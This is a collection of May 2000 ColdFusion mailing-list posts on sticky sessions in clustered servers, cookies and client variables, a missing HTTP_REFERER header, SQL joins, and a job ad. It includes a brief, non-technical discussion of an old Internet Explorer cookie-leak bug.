Subject: Re: Session vars in a clustered environment


> lol .. speaking of which .. I did a search for "sticky sessions" and the
> first hit I got was for:
>
> 1.  Lindsey Dawn Mckenzie
> http://www.marketplace.co.uk/videos/lindsey_dawn.html
> Lindsey Dawn Mckenzie stars in these sizzling hot sex videos
>
> hehe .. now .. if only we were able to find *those* kinds of sticky
session
> hardware in our server racks ;)
>
> - Original Message -
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> To: <[EMAIL PROTECTED]>
> Sent: Tuesday, May 16, 2000 6:13 PM
> Subject: RE: Session vars in a clustered environment
>
>
> > At 05:39 PM 5/16/00 -0400, you wrote:
> > >Also known as "sticky sessions."
> > >
> > >
> >
> >
> > You first ;-)
>
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Re: Session vars in a clustered environment

[Jay Sudowski - Handy Networks LLC]

> 
>  
> 
> 

What's neq an abbreviation for?

Thanks,

Jay

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Re: (job) DHTML/JS/CF developer (Atlanta)

[paul smith]

Damn!  And the domain kickass.com is already taken ;-)

At 07:12 PM 5/16/00 -0400, you wrote:
>We are currently reviewing resumes for a kickass UI Developer that would
>also be familiar with CF. I am looking for someone that is very fluent in
>DHTML, specifically dynamic positioning and scripting interaction between
>frames, layers, and windows.
>
>the position will be responsible for building kickass UI components for an
>enterprise application suite. CF will be necessary to access specific
>application variables that are tied to the UI DOM, but most development by
>this person will be done in DHTML and JS... interactive calendars, errors
>and alerts, drag-n-drop effects. Must be able to develop solutions across
>both IE and Netscape. Must be able to take a design or idea and run with it.
>
>if that's you and you're in the market, please send me your resume. for more
>information about our company or the position, feel free to email me.
>
>also feel free to pass this along to someone you know that might be
>interested.
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Re: Session vars in a clustered environment

[Todd Ashworth]

lol .. speaking of which .. I did a search for "sticky sessions" and the
first hit I got was for:

1.  Lindsey Dawn Mckenzie
http://www.marketplace.co.uk/videos/lindsey_dawn.html
Lindsey Dawn Mckenzie stars in these sizzling hot sex videos

hehe .. now .. if only we were able to find *those* kinds of sticky session
hardware in our server racks ;)

- Original Message -
From: paul smith <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 6:13 PM
Subject: RE: Session vars in a clustered environment


> At 05:39 PM 5/16/00 -0400, you wrote:
> >Also known as "sticky sessions."
> >
> >
>
>
> You first ;-)


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Re: HTTP_REFERER Problem

[Brian Mitter]

Yep, I realise that, what I mean though is that the referer is NEVER
there, for example I ran a few log files through webtrends and it came up
with no referers whatsoever. v.strange!
I've checked and in the properties for logging in IIS it is definitely
enabled to log the referer. I've ran tests by setting up a link on
another server to a page on our server and getting it to display the
referer but got nada... If I put this test page with the link on our
server though and have it link to another page on our server it does then
give the referer... is it possible for the the firewall to strip out the
referer or something odd like that?
I'm not to "up" on firewalls so dont laugh too hard if that sounds
ridiculous! :) I'm clutching at straws here...

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To: <[EMAIL PROTECTED]>
Sent: Wednesday, May 17, 2000 12:29 AM
Subject: Re: HTTP_REFERER Problem


> The referer is only filled in (that is, "extruded" haha) if the user
clicks
> on a hyperlink to get to your site.  If you are browsing a site and
simply
> type in a new URL then the referer is blank.
>
> Howie Hamlin
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> - Original Message -
> From: Brian Mitter <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Tuesday, May 16, 2000 6:39 PM
> Subject: HTTP_REFERER Problem
>
>
> > Hi All,
> >Any IIS wizards out there have any idea why we can never retrieve
the
> > HTTP_REFERER variable if the user has come from ANOTHER
server/domain? If
> > they come from another page on our server/domain we can retrieve the
page
> > in HTTP_REFERER otherwise it is empty.
> > It is turned ON in the logging, is there anywhere else it can be
turned
> > off in IIS?
> >Thanks
> >Brian
> >
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Re: Session vars in a clustered environment

[Brook Davies]

One way to have client vars "expire" is to check to run simple check within 
the application.cfm file. The following code checks if a user is logged in 
(IsLoggedIn <> 0), and if the value of the IsloggedIn client variable is no 
older than 20 minutes. If the client.IsLoggedIn variable is older than 20 
minutes the user gets booted to the login screen. If the client Var is less 
than 20 minutes it gets reset to the current time, essentially giving the 
user another 20 minutes on the system.  This code needs to run on every 
page ie. application.cfm,app_globals.cfm.




 
 




 





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At 11:33 AM 17/05/00 +1200, you wrote:
>Not being an expert or anything but I think session variables are 
>probably a
>dead cause for clustered systems. At least client variables can be stored in a
>shared database.
>
>BTW, is there an easy way you could make a client variable "expire", and 
>use it
>like a session variable?
>
>David
>
>Todd Ashworth wrote:
> >
> > Yup .. that's the way it works .. but what if the person get's 
> 'diconnected'
> > .. as in loses ability to get to the site for say .. 5 minutes?  Now, I'm
> > not sure *exactly* how this works, so someone feel free to correct me.
> > Using a round-robin DNS setup (a less than optomized setup where, as users
> > come to a site with clustered servers, that site's DNS servers cycle 
> through
> > the list of clustered servers and sends each user to the next server in the
> > list, regardless of that server's individual load .. repeat as needed)
> > wouldn't the user get routed to a different server than they were on last
> > time effectively destroying their session, even though it didn't
> > 'legitimately' time out?
> >
> > Now that I think about it, couldn't the same thing happen on a setup where
> > the load balancing employed routing to a particular server that had the
> > least load?
> >
> > That has to work differently than I am thinking .. or at least there has to
> > be a 'more stateful' option available that will handle common internet
> > problems such as that.
> >
> > .Todd
> >
> > - Original Message -
> > From: Scott Weikert <[EMAIL PROTECTED]>
> > To: <[EMAIL PROTECTED]>
> > Sent: Tuesday, May 16, 2000 5:19 PM
> > Subject: RE: Session vars in a clustered environment
> >
> > > Define "disconnected". If the user came back before the session timed 
> out,
> > > I'd figure he'd still be golden - single server or
> > > clustered-as-described-below.
> > >
> > > What I was talking about is say, Joe User comes along to your site. You
> > have
> > > Servers A, B, C. Whatever load-balancing situation you have going
> > determines
> > > B is the least utilized now, so sends Joe on to B. Joe stays on B for the
> > > duration. If Joe leaves, his session times out, and he comes back the 
> next
> > > day, start over. But if he sticks around and keeps hitting the site (and
> > > refreshing the session timeout), he'd stay on B.
> > >
> > > Mind you, I couldn't get into details on how they do this - I'm just
> > > relaying stuff from the meeting we had with some Allaire guys, and 
> this is
> > > what they told us.
> >
> > 
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Re: Cookie Question!

[Howie Hamlin]

The best way to handle cookies is to set a unique ID with a cookie and then
store the user-specific info on the server.  This is what CF does
automagically with sessions...

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- Original Message -
From: Tiffany <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 6:32 PM
Subject: Cookie Question!


> Okay, giving cookies a shot.
>
> I don't really see all that much explaination in Forta's book on cookies.
> Anyhow, do I need to set multiple cookies if I want to to remember
> multiple variables?
>
> Or wait.. shouldn't I just set a cookie to remember a Username and then
> use session variables to get the other info from the database?  And then
> if I dont want a page to be viewed without the person having a cookie
> present, just check for a cookie in the begining of each page?
>
> For instance,
>
> After all the user/pass checking, loginaction.cfm will contain:
>
> 
> 
>
>
> Then in start.cfm have the following:
>
> 
>
> 
>
> 
>
> Would that work? Or am I doing this all wrong?  I wouldn't doubt it =)
>
> Thanks!
>
> *~Tiffany~*
>
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Re: HTTP_REFERER Problem

[Howie Hamlin]

The referer is only filled in (that is, "extruded" haha) if the user clicks
on a hyperlink to get to your site.  If you are browsing a site and simply
type in a new URL then the referer is blank.

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From: Brian Mitter <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 6:39 PM
Subject: HTTP_REFERER Problem


> Hi All,
>Any IIS wizards out there have any idea why we can never retrieve the
> HTTP_REFERER variable if the user has come from ANOTHER server/domain? If
> they come from another page on our server/domain we can retrieve the page
> in HTTP_REFERER otherwise it is empty.
> It is turned ON in the logging, is there anywhere else it can be turned
> off in IIS?
>Thanks
>Brian
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RE: CFWACK (was: "You have nice cookies .. mind if I have a look?")

[Braver, Ben:]

CFWACK is the ColdFusion Web Application Construction Kit by Ben Forta,
published by Que books -- otherwise known as the Bible.

> -Original Message-
> From: David Cummins [SMTP:[EMAIL PROTECTED]]
> Sent: Tuesday, May 16, 2000 4:31 PM
> To:   [EMAIL PROTECTED]
> Subject:  Re: "You have nice cookies .. mind if I have a look?"
> 
> For those of us who don't know what CFWACK is... how do you do set the URL
> automatically? Do you just write a CF_A_HREF which does it?
> 
> PS - automajically is one of my favourite words.
> 
> David
> 
> paul smith wrote:
> > 
> > It can be made pretty automagic.  That is, test if
> > cookies can be set, if so, use them.  If not, maintain
> > state by URL automagically.  See p 648 CFWACK4 3rd Ed
> > 
> > best,  paul
> > 
> > At 04:03 PM 5/16/00 -0400, you wrote:
> > >I shouldn't  need to jump through the hoops of passing session vars
> > >through URLs
> > 
> >
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Re: Kind Of Off Topic

[Howie Hamlin]

I was hoping that nobody would notice my mistake - thanks for proving me
wrong :-)

Howie

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Sent: Tuesday, May 16, 2000 4:32 PM
Subject: Re: Kind Of Off Topic


> >From there you can extrude the domain name and such.
>
> Extrude?
>
> Mental picture: large "Boss Tweed"-like character cranking a meat grinder
> labelled 'NSI', bags with prominent dollar-bill signs being fed into the
> top...
>
> Brandon Whitaker
> [EMAIL PROTECTED]
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> wearing berets."
> - Dave Watts, on Mozilla
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> - John Gilmore
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Re: Session vars in a clustered environment

[David Cummins]

Not being an expert or anything but I think session variables are probably a
dead cause for clustered systems. At least client variables can be stored in a
shared database.

BTW, is there an easy way you could make a client variable "expire", and use it
like a session variable?

David

Todd Ashworth wrote:
> 
> Yup .. that's the way it works .. but what if the person get's 'diconnected'
> .. as in loses ability to get to the site for say .. 5 minutes?  Now, I'm
> not sure *exactly* how this works, so someone feel free to correct me.
> Using a round-robin DNS setup (a less than optomized setup where, as users
> come to a site with clustered servers, that site's DNS servers cycle through
> the list of clustered servers and sends each user to the next server in the
> list, regardless of that server's individual load .. repeat as needed)
> wouldn't the user get routed to a different server than they were on last
> time effectively destroying their session, even though it didn't
> 'legitimately' time out?
> 
> Now that I think about it, couldn't the same thing happen on a setup where
> the load balancing employed routing to a particular server that had the
> least load?
> 
> That has to work differently than I am thinking .. or at least there has to
> be a 'more stateful' option available that will handle common internet
> problems such as that.
> 
> .Todd
> 
> - Original Message -
> From: Scott Weikert <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Tuesday, May 16, 2000 5:19 PM
> Subject: RE: Session vars in a clustered environment
> 
> > Define "disconnected". If the user came back before the session timed out,
> > I'd figure he'd still be golden - single server or
> > clustered-as-described-below.
> >
> > What I was talking about is say, Joe User comes along to your site. You
> have
> > Servers A, B, C. Whatever load-balancing situation you have going
> determines
> > B is the least utilized now, so sends Joe on to B. Joe stays on B for the
> > duration. If Joe leaves, his session times out, and he comes back the next
> > day, start over. But if he sticks around and keeps hitting the site (and
> > refreshing the session timeout), he'd stay on B.
> >
> > Mind you, I couldn't get into details on how they do this - I'm just
> > relaying stuff from the meeting we had with some Allaire guys, and this is
> > what they told us.
> 
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Re: "You have nice cookies .. mind if I have a look?"

[David Cummins]

For those of us who don't know what CFWACK is... how do you do set the URL
automatically? Do you just write a CF_A_HREF which does it?

PS - automajically is one of my favourite words.

David

paul smith wrote:
> 
> It can be made pretty automagic.  That is, test if
> cookies can be set, if so, use them.  If not, maintain
> state by URL automagically.  See p 648 CFWACK4 3rd Ed
> 
> best,  paul
> 
> At 04:03 PM 5/16/00 -0400, you wrote:
> >I shouldn't  need to jump through the hoops of passing session vars
> >through URLs
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RE: "You have nice cookies .. mind if I have a look?"

[Mike Sheldon]

Summary of the problem:

In a nutshell, IE does not urldecode the request string before feeding it to
the routine that decides which cookie to send. I've written my own test
routines, and exploiting this hole is unbelievably simple.

All IE browsers on all MS platforms are vulnerable.

The really nasty bit is that you may never see the URL that stole your
cookies, it could be an embedded cgi or image link.

>>BTW, Amazon and friends encrypt their cookies

The fact that the cookies are encrypted may be irrelevant. Even if they
couldn't be cracked (doubtful) they could still be used to impersonate you.

It would be nice if Microsoft would at least acknowledge this bug. Quite
frankly, it should be trivial to fix, all they have to do is feed the
request through a url-decoding function first.

Michael J. Sheldon
Internet Applications Developer
Phone: 480.699.1084
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-Original Message-
From: Todd Ashworth [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, May 16, 2000 15:36
To: [EMAIL PROTECTED]
Subject: Re: "You have nice cookies .. mind if I have a look?"


I'm not sure .. of course all the reports I've seen are going for shock
value and leaving the technical details usefull to the rest of us out.  You
could test it I suppose.  You could set such a cookie on your computer and
then go to the test site mentioned in the article and see if the exploit can
find your cookie .. it gives you the option to type in a speciffic domain
name to search for.  It would be really kinda cool if it wasn't a potential
hazard.

BTW, Amazon and friends encrypt their cookies, from what I've heard.  Anyone
have any CF related info on doing the same?

.Todd

- Original Message -
From: Steve Aylor <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 5:39 PM
Subject: Re: "You have nice cookies .. mind if I have a look?"


>
> > Like I said .. turning off cookies won't save you from someone getting
to
> > the cookies you already have stored on your machine.  Besides, the
problem
> > ISN'T with cookies .. it's with crappy MS security .. supprise,
supprise.
> > Notice how the only people affected by this at all are people using IE
and
> > Windows ... quite the dynamic duo.
>
> The problem has NEVER "really" been about cookies anyway.  Its the
> "PERCEPTION" of what site developers may or may not be storing in cookies
> that is freakin out the surfers/users at large.  And these whores in the
> media are just trying to capitalize on this overblown issue as a way to
pump
> up the banner ad impressions and click thru's. The media should be
roasting
> the site developers that place sensitive info in cookies, and do a more
> thurough job of discussing the real issues.
>
> Hardly any "secure" sites are storing "sensitive" information in a cookie.
> Decent security for web sites is based on both something you "have", and
> something you "know"  - not just a cookie's value - sensitive or
> insensitive. If a web sites sole security mechanism is cfid & cftoken - Id
> have to say then its flawed and needs to be fixed - the solution isnt to
> eradicate cookies - fix the security model.  If someone can buy stuff from
> Amazon.com based solely on the value they store in my cookie - then I'd
have
> to say that Amazon.com's "Patented 1 - Click" checkout horse pucky is
> severely flawed - as well as MS's IE. Maybe Amazon should have spent the
$$$
> on security experts vs. patent attorneys..
>
> > Netscape doesn't have this problem and
> > neither do any other operating systems.  I say don't worry about it and
> use
> > your cookies .. just, now we have to take on the added responsibility of
> > designing our sites to provide Microsoft's cookie security for them.
Now
> ..
> > anyone have any usefull ideas on how to do this?
>
> Does the security breach discussed apply where the developer is setting
> cookies to be seen only by webservers in the "domain" that set the
cookie??
> Isnt that a specific cookie setting "option"?
>
> well... gotta go... .. got to go turn off Javascript in in many computers
> now shesh
>
> Steve


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(job) DHTML/JS/CF developer (Atlanta)

[Mike Amburn]

We are currently reviewing resumes for a kickass UI Developer that would
also be familiar with CF. I am looking for someone that is very fluent in
DHTML, specifically dynamic positioning and scripting interaction between
frames, layers, and windows.

the position will be responsible for building kickass UI components for an
enterprise application suite. CF will be necessary to access specific
application variables that are tied to the UI DOM, but most development by
this person will be done in DHTML and JS... interactive calendars, errors
and alerts, drag-n-drop effects. Must be able to develop solutions across
both IE and Netscape. Must be able to take a design or idea and run with it.

if that's you and you're in the market, please send me your resume. for more
information about our company or the position, feel free to email me.

also feel free to pass this along to someone you know that might be
interested.

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RE: Inline HTML Editor

[Peter Tilbrook]

EditLive!

http://www.editlive.com

Cheers!

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Sent: Wednesday, 10 May 2000 5:32 AM
To: '[EMAIL PROTECTED]'
Subject: Inline HTML Editor


Are there any other products for use as an inline html editor other then
Ektron's product and ActiveEdit?

TIA

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RE: Database access problem

[Peter Tilbrook]

Have you installed the Microsoft Data Access software? (see
http://www.microsoft.com/data). Also have you already setup your ODBC
connections?

: quoted-printable

Hi!

My problem is that when I try to access to my database from the =
Studio 4.5 resource tab, in localhost, i get an error message "the =
connection to the server cannot be established". Server Enterprise is =
running and the test installation is OK. Please, help!

Thanks in advance.

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RE: "You have nice cookies .. mind if I have a look?"

[Owens, Howard]

I went to the site and was able to search for any domain that has set
cookies on my computer.  The full Amazon cookie could be pulled up
(thankfully, one-click is not enabled on this machine).


H.

=
Howard Owens
Web Producer
InsideVC.com
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> -Original Message-
> From: Todd Ashworth [SMTP:[EMAIL PROTECTED]]
> Sent: Tuesday, May 16, 2000 3:36 PM
> To:   [EMAIL PROTECTED]
> Subject:  Re: "You have nice cookies .. mind if I have a look?"
> 
> I'm not sure .. of course all the reports I've seen are going for shock
> value and leaving the technical details usefull to the rest of us out.
> You
> could test it I suppose.  You could set such a cookie on your computer and
> then go to the test site mentioned in the article and see if the exploit
> can
> find your cookie .. it gives you the option to type in a speciffic domain
> name to search for.  It would be really kinda cool if it wasn't a
> potential
> hazard.
> 
> BTW, Amazon and friends encrypt their cookies, from what I've heard.
> Anyone
> have any CF related info on doing the same?
> 
> .
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Formatting Table Join Output question

[Kurt Wiersma]

Thank you for your help on this query below it is not working under Access.

I am now trying, with the code below, to output the results of this query to
an email. I need the audienceIDs to be joined to the audience name in the
audience table but of course when I do this under this structure I get two
records resulting. Both these records are the the same other then then their
audience names. I need some way to catch these two audience names out of
there and display them in the email along with the rest of the email being
intact. Perhaps I should store them in a local var and then output them?

Anyone have a good way I can accomplish this?

Thanks in advance,

--KW


SELECT calendar.*, audience.*, audevent.eventID, audevent.audienceID
FROM calendar INNER JOIN (audience INNER JOIN audevent ON
audience.audienceID=audevent.audienceID) ON
calendar.eventID=audevent.eventID

  

This email was generated by fusion.acc.stolaf.edu!


The following calendar entry sent by #contactname# is waiting for approval.

Event Name: #eventname#
Start Date: #DateFormat(startdate, "MM/DD/")#
End Date:  #DateFormat(enddate, "MM/DD/")#
Time: #TimeFormat(eventtime, "hh:mm tt")#
Location: #location#
WebURL: #webURL#

Audience: #name#

Category: #name#

Description:
#description#


---
--
http://fusion.acc.stolaf.edu/calendar/admin/approve.cfm?id=#eventID#">
Approve Entry
http://fusion.acc.stolaf.edu/calender/admin/editevent.cfm?id=#eventID#
">Edit this Entry



On 5/16/00 5:34 PM, Heather Haindel at [EMAIL PROTECTED] wrote:

> Based on the tables I gave below, I would use this:
> 
> select e.eventname, e.eventdescription, a.audiencename
> from test_event e, test_audience_event ae,
> test_audience a
> where e.event_id = ae.event_id
> and ae.audience_id = a.audience_id
> 
> This works in SQL Server 6.5...you may need to adjust
> for your needs.
> 
> I would also consider setting this up as a view (a
> query in Access) and pulling the data to your web site
> from there.
> 
> --- Kurt Wiersma <[EMAIL PROTECTED]> wrote:
>> 
>> 
>> 
>> What would be the SQL query to join these tables so
>> that I could display the names
>> of the audiences for each event?
>> 
>> Would something like this work?
>> 
>> > DATASOURCE="#application.DataSource#">
>> SELECT  c.eventID, c.startdate, c.enddate,
>> c.eventname, c.eventtime,
>> c.location, c.approved, c.webURL, c.description,
>> c.contactname, c.contactemail
>> FROM calendar c
>> WHERE c.eventID IS IN (SELECT eventID, audienceID
>> FROM audevent 
>> WHERE audienceID IN (SELECT
>> audienceID, name FROM audience))
>> 
>> 
>> --
>> From: Heather Haindel
>> Reply-To: [EMAIL PROTECTED]
>> Date: Mon, 15 May 2000 17:21:47 -0700 (PDT)
>> To: [EMAIL PROTECTED],
>> [EMAIL PROTECTED]
>> Subject: Re: Database Structure Question
>> 
>> Assuming I understand correctly, you have two
>> entities...audience and event. Each event on your
>> calendar can be classified under one to many
>> audience
>> (types). Each audience (type) can be a
>> classification
>> for zero to many events. That gives you a many to
>> many
>> relationship between audience and event.
>> 
>> In order to normalize this, you need an intersection
>> table. I would create these three tables:
>> 
>> audience - audience_id (PK), audiencename
>> event - event_id (PK), eventname, eventdescription
>> audience_event - audevent_id (PK), audience_id (FK),
>> event_id (FK)
>> 
>> 
>> --- Kurt Wiersma  wrote:
>>> 
>>> I have a database which is going to hold events
>> for
>>> a calendar app. In it I
>>> have a table for audiences which has an audienceID
>>> and audience name. Inside
>>> the calendar table I have a field for audienceIDs
>>> where I was thinking of
>>> keeping a comma delimited list of audienceIDs.
>>> 
>>> The problem is I cannot join the two tables very
>>> easily in this format. I
>>> want the user to be able to check a checkbox for
>>> each audience they would
>>> like the event to be categorized under.
>>> 
>>> Can anyone suggest a better database structure or
>>> code that would allow the
>>> two tables to be joined under this structure?
>> Please
>>> cc my email address in
>>> the reply as I am on the digest format right now!
>>> 
>>> Thanks for you help,
>>> 
>>> -- Kurt
>>> 
>>> 

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RE: Session vars in a clustered environment

[Michael Paulsmeyer]

Paul,

You can set up client management from the cfapplication tag and in the cf
server administrator you can create a db to hold client vars.  All servers
in the cluster need to know about the DB.

Create the WDDX packet as a client variable.

Now when you need to save state, put the data into a WDDX packet.  When you
need to get the data again, deserialize the packet.

Mike.

-Original Message-
From: paul smith [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, May 16, 2000 4:28 PM
To: [EMAIL PROTECTED]
Subject: Re: Session vars in a clustered environment


WDDX is an alternative to "Sticky Sessions"

The idea is to pass a WDDX packet back and
and forth in each page request.  This allows
pages displayed to a given user to be from
different web servers. Perhaps we can call
this "non-Sticky Sessions"  for short, or,
"Sessions_That_Aren't_Sticky_But_They_Maintain_State_Anyway"

This probably requires JS to enable each
link/page request to act as a form submit
and pass the WDDX packet as a hidden variable
back to the server.  I'd be interested if
anyone comes up with an alternative.

best,  paul


At 05:46 PM 5/16/00 -0400, you wrote:
>Howard,
>
>I've never used session vars in a clustered server setup, but I've read a
>lot about doing it, so here goes nothing :-)
> >
> >
> > I've never worked with session variables on clustered servers.  I read
> > somewhere ... and can't remember where ... that I might have a problem
>here.
>
>You can setup the clustering server to use Sticky Sessions - though, this
>isn't a truely load balanced solution.  Using load balancing, the idea is
>that the load will be distributed over all the servers in the cluster.
With
>sticky sessions, that happens only to a certain extent - once a user is
>assigned to a server, the user stays on the server, regardless of the load
>so that the session vars are preserved.


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Tags for DES encryption

[Nick Slay]

Can anyone recommend a tag to generate a DES encrypted value from a 
password submitted to it?  The encrypted value should not be able to be 
decrypted.

Thanks

Nick

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Re: Member database with access levels -=- CF4.0.1+Access97

[simon mills]

Hi 

I've been working on exactly the same thing recently and wondered if I could
enquire a little further here.


> 
> What you need to do is check that the user is logged in on each page you
> want to secure. One way to do this is the application.cfm to check if the
> user is checked in

Fine, I do this in the application.cfm with something like:



>  
> 
> 
> 
> 

However the next bit is what I have a problem with. Surely this creates a
loop if the application.cfm also runs on login.cfm.

> 
> goto login page!
> 
> 
> 
> This will check to see if the user is logged in when any page in the
> application directory is called...


Wjat I want to know, short of putting these files in another directory with
an application.cfm that doesn't do the already-logged-in-check how can I
write a get out clause so I can send the user to a page with a log-in form
and send the form results to a database so the user can log-in. It's a real
chicken and egg situation. How can I get to a login page if the
application.cfm won't let me. I've solved it by putting the login .cfms in
another directory but is this the best and only solution. From looking at
the fusebox idea I'm certain it's not.

I'd love to hear of better solutions.

Simon


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Re: Session vars in a clustered environment

[Todd Ashworth]

Yup .. that's the way it works .. but what if the person get's 'diconnected'
.. as in loses ability to get to the site for say .. 5 minutes?  Now, I'm
not sure *exactly* how this works, so someone feel free to correct me.
Using a round-robin DNS setup (a less than optomized setup where, as users
come to a site with clustered servers, that site's DNS servers cycle through
the list of clustered servers and sends each user to the next server in the
list, regardless of that server's individual load .. repeat as needed)
wouldn't the user get routed to a different server than they were on last
time effectively destroying their session, even though it didn't
'legitimately' time out?

Now that I think about it, couldn't the same thing happen on a setup where
the load balancing employed routing to a particular server that had the
least load?

That has to work differently than I am thinking .. or at least there has to
be a 'more stateful' option available that will handle common internet
problems such as that.

.Todd

- Original Message -
From: Scott Weikert <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 5:19 PM
Subject: RE: Session vars in a clustered environment


> Define "disconnected". If the user came back before the session timed out,
> I'd figure he'd still be golden - single server or
> clustered-as-described-below.
>
> What I was talking about is say, Joe User comes along to your site. You
have
> Servers A, B, C. Whatever load-balancing situation you have going
determines
> B is the least utilized now, so sends Joe on to B. Joe stays on B for the
> duration. If Joe leaves, his session times out, and he comes back the next
> day, start over. But if he sticks around and keeps hitting the site (and
> refreshing the session timeout), he'd stay on B.
>
> Mind you, I couldn't get into details on how they do this - I'm just
> relaying stuff from the meeting we had with some Allaire guys, and this is
> what they told us.

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Cookie Question!

[Tiffany]

Okay, giving cookies a shot.

I don't really see all that much explaination in Forta's book on cookies.
Anyhow, do I need to set multiple cookies if I want to to remember
multiple variables?

Or wait.. shouldn't I just set a cookie to remember a Username and then
use session variables to get the other info from the database?  And then
if I dont want a page to be viewed without the person having a cookie
present, just check for a cookie in the begining of each page?

For instance,

After all the user/pass checking, loginaction.cfm will contain:





Then in start.cfm have the following:


   

   


Would that work? Or am I doing this all wrong?  I wouldn't doubt it =)

Thanks!

*~Tiffany~*

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Re: "You have nice cookies .. mind if I have a look?"

[Todd Ashworth]

I'm not sure .. of course all the reports I've seen are going for shock
value and leaving the technical details usefull to the rest of us out.  You
could test it I suppose.  You could set such a cookie on your computer and
then go to the test site mentioned in the article and see if the exploit can
find your cookie .. it gives you the option to type in a speciffic domain
name to search for.  It would be really kinda cool if it wasn't a potential
hazard.

BTW, Amazon and friends encrypt their cookies, from what I've heard.  Anyone
have any CF related info on doing the same?

.Todd

- Original Message -
From: Steve Aylor <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Tuesday, May 16, 2000 5:39 PM
Subject: Re: "You have nice cookies .. mind if I have a look?"


>
> > Like I said .. turning off cookies won't save you from someone getting
to
> > the cookies you already have stored on your machine.  Besides, the
problem
> > ISN'T with cookies .. it's with crappy MS security .. supprise,
supprise.
> > Notice how the only people affected by this at all are people using IE
and
> > Windows ... quite the dynamic duo.
>
> The problem has NEVER "really" been about cookies anyway.  Its the
> "PERCEPTION" of what site developers may or may not be storing in cookies
> that is freakin out the surfers/users at large.  And these whores in the
> media are just trying to capitalize on this overblown issue as a way to
pump
> up the banner ad impressions and click thru's. The media should be
roasting
> the site developers that place sensitive info in cookies, and do a more
> thurough job of discussing the real issues.
>
> Hardly any "secure" sites are storing "sensitive" information in a cookie.
> Decent security for web sites is based on both something you "have", and
> something you "know"  - not just a cookie's value - sensitive or
> insensitive. If a web sites sole security mechanism is cfid & cftoken - Id
> have to say then its flawed and needs to be fixed - the solution isnt to
> eradicate cookies - fix the security model.  If someone can buy stuff from
> Amazon.com based solely on the value they store in my cookie - then I'd
have
> to say that Amazon.com's "Patented 1 - Click" checkout horse pucky is
> severely flawed - as well as MS's IE. Maybe Amazon should have spent the
$$$
> on security experts vs. patent attorneys..
>
> > Netscape doesn't have this problem and
> > neither do any other operating systems.  I say don't worry about it and
> use
> > your cookies .. just, now we have to take on the added responsibility of
> > designing our sites to provide Microsoft's cookie security for them.
Now
> ..
> > anyone have any usefull ideas on how to do this?
>
> Does the security breach discussed apply where the developer is setting
> cookies to be seen only by webservers in the "domain" that set the
cookie??
> Isnt that a specific cookie setting "option"?
>
> well... gotta go... .. got to go turn off Javascript in in many computers
> now shesh
>
> Steve

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HTTP_REFERER Problem

[Brian Mitter]

Hi All,
   Any IIS wizards out there have any idea why we can never retrieve the
HTTP_REFERER variable if the user has come from ANOTHER server/domain? If
they come from another page on our server/domain we can retrieve the page
in HTTP_REFERER otherwise it is empty.
It is turned ON in the logging, is there anywhere else it can be turned
off in IIS?
   Thanks
   Brian

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RE: "You have nice cookies .. mind if I have a look?"

[Nick Slay]

What are the thoughts on using Client variables?   These can get stored in 
the registry on the server, act as cookies do, and there is no need to pass 
URL or Hidden parameters around between pages.

I've used them in environments where cookies have given me problems in the 
past, but am I missing something because I don't think anyone has mentioned 
them in this thread.  Are there any problems using them?





At 16:08 16/05/00 -0400, you wrote:
> > I had a series of forms (more on this shortly in another
> > post) ... form1 collects the first set of information and
> > with submit, everything is converted to session variables.
> > With the next form submission, the next set is added to the
> > session vars ... and so on.
> >
> > This didn't work without cookies being set.  I had to enable
> > cookies.  The cookies had to be set.
>
>You can either return the session token via cookies or the URL. In your
>example, you'd want to pass the token via the URL in your form's ACTION
>parameter if no cookies were present. You'd have to do this for every page
>request, which is significantly more of a pain than using cookies.
>
>Dave Watts, CTO, Fig Leaf Software
>http://www.figleaf.com/
>voice: (202) 797-5496
>fax: (202) 797-5444
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Re: Session vars in a clustered environment

[paul smith]

WDDX is an alternative to "Sticky Sessions"

The idea is to pass a WDDX packet back and
and forth in each page request.  This allows
pages displayed to a given user to be from
different web servers. Perhaps we can call
this "non-Sticky Sessions"  for short, or,
"Sessions_That_Aren't_Sticky_But_They_Maintain_State_Anyway"

This probably requires JS to enable each
link/page request to act as a form submit
and pass the WDDX packet as a hidden variable
back to the server.  I'd be interested if
anyone comes up with an alternative.

best,  paul


At 05:46 PM 5/16/00 -0400, you wrote:
>Howard,
>
>I've never used session vars in a clustered server setup, but I've read a
>lot about doing it, so here goes nothing :-)
> >
> >
> > I've never worked with session variables on clustered servers.  I read
> > somewhere ... and can't remember where ... that I might have a problem
>here.
>
>You can setup the clustering server to use Sticky Sessions - though, this
>isn't a truely load balanced solution.  Using load balancing, the idea is
>that the load will be distributed over all the servers in the cluster.  With
>sticky sessions, that happens only to a certain extent - once a user is
>assigned to a server, the user stays on the server, regardless of the load
>so that the session vars are preserved.

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